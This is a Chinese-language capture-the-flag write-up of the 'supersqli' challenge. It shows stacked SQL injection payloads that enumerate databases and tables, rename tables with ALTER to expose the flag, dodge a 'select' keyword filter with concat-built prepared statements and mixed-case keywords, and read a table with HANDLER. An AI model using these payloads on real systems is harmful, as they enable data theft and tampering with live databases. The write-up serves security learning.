攻防世界(六)supersqli

攻防世界系列:supersqli

 

方法一:

 

用逗号包裹回显正常,说明存在注入

 

1';--+(注释符也可用 -- 或 # 发现均未被过滤!)

 

 

 

有order by 语句可知表由2个字段,使用联合查询 (想看看当前所在的数据库)。结果发现关键字select被过滤了

 

-1' union select 1,database();--+

 

 

 

 

 

想到堆叠注入,发现可以。查看所有库

 

-1';show databases;--+

 

 

 

 

查看所有表

 

 

-1';show tables;--+

 

 

 

查看表words里的字段

 

-1';show columns from words;--+

 

 

 查看表 `1919810931114514`

 

-1';show columns from `1919810931114514`;--+

 

注意:以纯数字命名的表,操作时要加上反引号。

 

 

至此可知flag就在这个数字表中,如何取出它呢?

分析:supersqli中两个表

words表,两个字段 id 、data。其中id为整形int(10)、data为字符型varchar(100)。

数字表,只有一个字段。且已知存的为flag

可以确定默认查询的表为words,我们使用rename、alter把flag所在的数字表修改为默认查询的表。

具体做法:

words名改为word123     alter table words rename to words123;

把数字表名改为 words   alter table `1919810931114514` rename to words;

现在的words表中没有id字段,我们把flag字段名改为id     alter table words change flag id varchar(100);

最终构造语句:

 

1'; alter table words rename to words123;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);--+

 

 

 

 

 构造:

 

1'or 1=1--+

 

 

 方法二:

Mysql的预编译,绕过select的过滤

 

什么是预编译?

参考:https://www.cnblogs.com/micrari/p/7112781.html

通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:

  1. 词法和语义解析
  2. 优化sql语句,制定执行计划
  3. 执行并返回结果

我们把这种普通语句称作Immediate Statements

但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如query的where子句值不同,update的set子句值不同,insert的values值不同)。
如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。

所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。
当然就优化来说,很多时候最优的执行计划不是光靠知道sql语句的模板就能决定了,往往就是需要通过具体值来预估出成本代价。

例如:

编译

我们接下来通过 PREPARE stmt_name FROM preparable_stm的语法来预编译一条sql语句

mysql> prepare ins from 'insert into t select ?,?';
Query OK, 0 rows affected (0.00 sec)
Statement prepared

执行

我们通过 EXECUTE stmt_name [USING @var_name [, @var_name] ...] 的语法来执行预编译语句

mysql> set @a=999,@b='hello';
Query OK, 0 rows affected (0.00 sec)

mysql> execute ins using @a,@b;
Query OK, 1 row affected (0.01 sec)
Records: 1  Duplicates: 0  Warnings: 0

mysql> select * from t;
+------+-------+
| a    | b     |
+------+-------+
|  999 | hello |
+------+-------+
1 row in set (0.00 sec)

可以看到,数据已经被成功插入表中。

 

具体做法:

编译

set @sql = concat('sele','ct * from `1919810931114514`;');

prepare stm from @sql;

执行

execute stm;--+

 

最终构造语句:

set @sql = concat('sele','ct * from `1919810931114514`;');prepare stm from @sql;execute stm;--+

 

 

 

strstr对关键字set 和prepare进行了过滤,但他不区分大小写,我们可以绕过

 

1';sEt @sql = concat('sele','ct * from `1919810931114514`;');prEpare smt from @sql;execute smt;--+

 

 

 

方法三:

 

rename和alter如果被禁了,还可以用这个

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;--+

(用于在知道表的情况下,部分关键字被禁止的情况下,用handler直接读取表内容。)

 

 

 

 

 

 

 

posted @ 2020-08-11 18:24  HUGBOY  阅读(1348)  评论(0编辑  收藏  举报